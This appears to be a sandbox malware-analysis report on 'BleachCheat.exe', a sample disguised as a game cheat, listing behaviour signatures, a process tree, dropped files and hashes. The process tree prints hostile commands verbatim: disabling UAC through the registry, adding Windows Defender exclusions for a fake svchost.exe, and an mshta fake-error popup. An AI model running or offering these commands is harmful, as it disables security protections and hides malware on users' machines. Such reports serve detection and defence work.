Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-04-2024 00:58

General

  • Target

    BleachCheat.exe

  • Size

    7.5MB

  • MD5

    4a8752fcb5b8c322f5387dc92b05cc2f

  • SHA1

    e8c33f6e69aa5bf323801c678bebf4d8af00a474

  • SHA256

    937057dcc1b0772f7169bc46761b73ab2058efd53d9854877370071b9431a447

  • SHA512

    153c2d43b2160d6d601722df3c7ea286eb4f8c836bb77653098f3b5096d92cc7bf8f1637eba25385a5c300e5849d6ca384aba1280acbf490ddd377a595b2572c

  • SSDEEP

    196608:ddgUfWEkm/wQKES+cjTDTqhLkADK4Wi8nqNk:PIQDS+CTSGU4rqNk

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • UAC bypass 3 TTPs 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Obfuscated with Agile.Net obfuscator 2 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Themida packer 16 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\BleachCheat.exe
    "C:\Users\Admin\AppData\Local\Temp\BleachCheat.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\z.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4064
      • C:\Windows\system32\chcp.com
        chcp.com 437
        3⤵
          PID:4636
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c type tmp
          3⤵
            PID:3220
          • C:\Windows\system32\find.exe
            find
            3⤵
              PID:4216
            • C:\Windows\system32\find.exe
              find
              3⤵
                PID:3096
              • C:\Windows\system32\findstr.exe
                findstr /L /I set "C:\ProgramData\z.bat"
                3⤵
                  PID:3580
                • C:\Windows\system32\findstr.exe
                  findstr /L /I goto "C:\ProgramData\z.bat"
                  3⤵
                    PID:4556
                  • C:\Windows\system32\findstr.exe
                    findstr /L /I echo "C:\ProgramData\z.bat"
                    3⤵
                      PID:852
                    • C:\Windows\system32\findstr.exe
                      findstr /L /I pause "C:\ProgramData\z.bat"
                      3⤵
                        PID:1536
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c type tmp
                        3⤵
                          PID:1220
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The instruction at 0x00000000771034FB referenced memory at 0x00000000771034FB. The required data was not placed into memory because of an I/O error status of 0x0000428. Click on OK to terminate the program', 0, 'Application Error', 0+16);close()"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3812
                          • C:\Windows\system32\mshta.exe
                            mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The instruction at 0x00000000771034FB referenced memory at 0x00000000771034FB. The required data was not placed into memory because of an I/O error status of 0x0000428. Click on OK to terminate the program', 0, 'Application Error', 0+16);close()"
                            4⤵
                              PID:756
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2704
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                              4⤵
                              • UAC bypass
                              PID:2180
                        • C:\ProgramData\svchost.exe
                          "C:\ProgramData\svchost.exe"
                          2⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Checks computer location settings
                          • Drops startup file
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • Checks whether UAC is enabled
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:3368
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
                            3⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2360
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
                            3⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1544
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
                            3⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3828
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
                            3⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3288

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\ProgramData\svchost.exe

                        Filesize

                        7.0MB

                        MD5

                        360641f7b6c03acf49f6a27998534a97

                        SHA1

                        b884af4d3f2dbe0d5cc298df523522c4c9477668

                        SHA256

                        eaf9b8f2a3e9ade18c0313191358254b7cb06a15baf6258666b841fa24120b98

                        SHA512

                        acfb43cc566f90d0187849ed4c35fd57171d9f3b957a7e348383d8afe995a89ea4ef094ddb32f75bae4c50782a090c2a4b8e972f7336c120215b4a23fba679cc

                      • C:\ProgramData\tmp

                        Filesize

                        14B

                        MD5

                        ce585c6ba32ac17652d2345118536f9c

                        SHA1

                        be0e41b3690c42e4c0cdb53d53fc544fb46b758d

                        SHA256

                        589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

                        SHA512

                        d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

                      • C:\ProgramData\z.bat

                        Filesize

                        20KB

                        MD5

                        77946ef866ba3e46fb161bc52214c616

                        SHA1

                        20a53a00be7f4c76e3a1b02eb82675f7b8e77a0c

                        SHA256

                        0562794443d5322e9271dbdce3af9b3ba5e14e831077796552f0d507e836c48f

                        SHA512

                        b5671ee7de190613ff6095b564283c5b689008c79eab91ab39d95241dfed797ca61ee196bebbac4d481e5c0e4330bc6de40d7486f4d7eb8e0fcb01a734e1cbdb

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                        Filesize

                        2KB

                        MD5

                        d85ba6ff808d9e5444a4b369f5bc2730

                        SHA1

                        31aa9d96590fff6981b315e0b391b575e4c0804a

                        SHA256

                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                        SHA512

                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        2e907f77659a6601fcc408274894da2e

                        SHA1

                        9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                        SHA256

                        385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                        SHA512

                        34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        0de7973d81e8726da4f2de4dd399dbad

                        SHA1

                        de59047d06801a64300c7cef0ec5caa29979a3cd

                        SHA256

                        34afedd1d1e38b0ffe8a6beb95a6b78ce092c9b77ad3fc80b00e5497a18c3c22

                        SHA512

                        93180ab88201598a31bbb12d344a9f87cfab82edc377d8bef54f2d72b6194936f35a71cbac33145360aaf34951efa7a8e3fb9b4d33af6c7c68d63ab25e08fe69

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        15dde0683cd1ca19785d7262f554ba93

                        SHA1

                        d039c577e438546d10ac64837b05da480d06bf69

                        SHA256

                        d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961

                        SHA512

                        57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

                      • C:\Users\Admin\AppData\Local\Temp\700c14c7-4c15-455b-ae60-c9420a3e81fc\AgileDotNetRT64.dll

                        Filesize

                        4.2MB

                        MD5

                        05b012457488a95a05d0541e0470d392

                        SHA1

                        74f541d6a8365508c794ef7b4ac7c297457f9ce3

                        SHA256

                        1f77a0749ac730500f203b8c4d072587923ac679e184a3859aeb855c2a2e7d8d

                        SHA512

                        6d6e7b838d4425d49ac8d3738135374ef5357f0677b07cecb7afbf5feddc1997bf6dce68d48787eff8a74c4728def8880c8f01842eda35b5815fb561fa401ae6

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_erxlkq5k.mam.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • memory/1544-67-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1544-58-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1544-60-0x000001BE63750000-0x000001BE63760000-memory.dmp

                        Filesize

                        64KB

                      • memory/1544-65-0x000001BE63750000-0x000001BE63760000-memory.dmp

                        Filesize

                        64KB

                      • memory/2360-46-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2360-51-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2360-47-0x000001CD3C6B0000-0x000001CD3C6C0000-memory.dmp

                        Filesize

                        64KB

                      • memory/2360-45-0x000001CD3C860000-0x000001CD3C882000-memory.dmp

                        Filesize

                        136KB

                      • memory/2360-48-0x000001CD3C6B0000-0x000001CD3C6C0000-memory.dmp

                        Filesize

                        64KB

                      • memory/3288-82-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3288-98-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3288-96-0x0000012638E10000-0x0000012638E20000-memory.dmp

                        Filesize

                        64KB

                      • memory/3288-84-0x0000012638E10000-0x0000012638E20000-memory.dmp

                        Filesize

                        64KB

                      • memory/3288-83-0x0000012638E10000-0x0000012638E20000-memory.dmp

                        Filesize

                        64KB

                      • memory/3368-109-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-106-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-120-0x000000001BBC0000-0x000000001BBCE000-memory.dmp

                        Filesize

                        56KB

                      • memory/3368-119-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-118-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-28-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-16-0x00000000003D0000-0x0000000000AD6000-memory.dmp

                        Filesize

                        7.0MB

                      • memory/3368-95-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3368-29-0x00007FFA6CA70000-0x00007FFA6CC65000-memory.dmp

                        Filesize

                        2.0MB

                      • memory/3368-33-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-103-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-104-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-105-0x00007FFA6CA70000-0x00007FFA6CC65000-memory.dmp

                        Filesize

                        2.0MB

                      • memory/3368-17-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3368-108-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-35-0x00007FFA5DDB0000-0x00007FFA5DEFE000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3368-111-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-112-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-114-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-115-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-116-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3368-117-0x00007FFA49B00000-0x00007FFA4A684000-memory.dmp

                        Filesize

                        11.5MB

                      • memory/3828-68-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3828-74-0x000001F4F8190000-0x000001F4F81A0000-memory.dmp

                        Filesize

                        64KB

                      • memory/3828-81-0x00007FFA4E440000-0x00007FFA4EF01000-memory.dmp

                        Filesize

                        10.8MB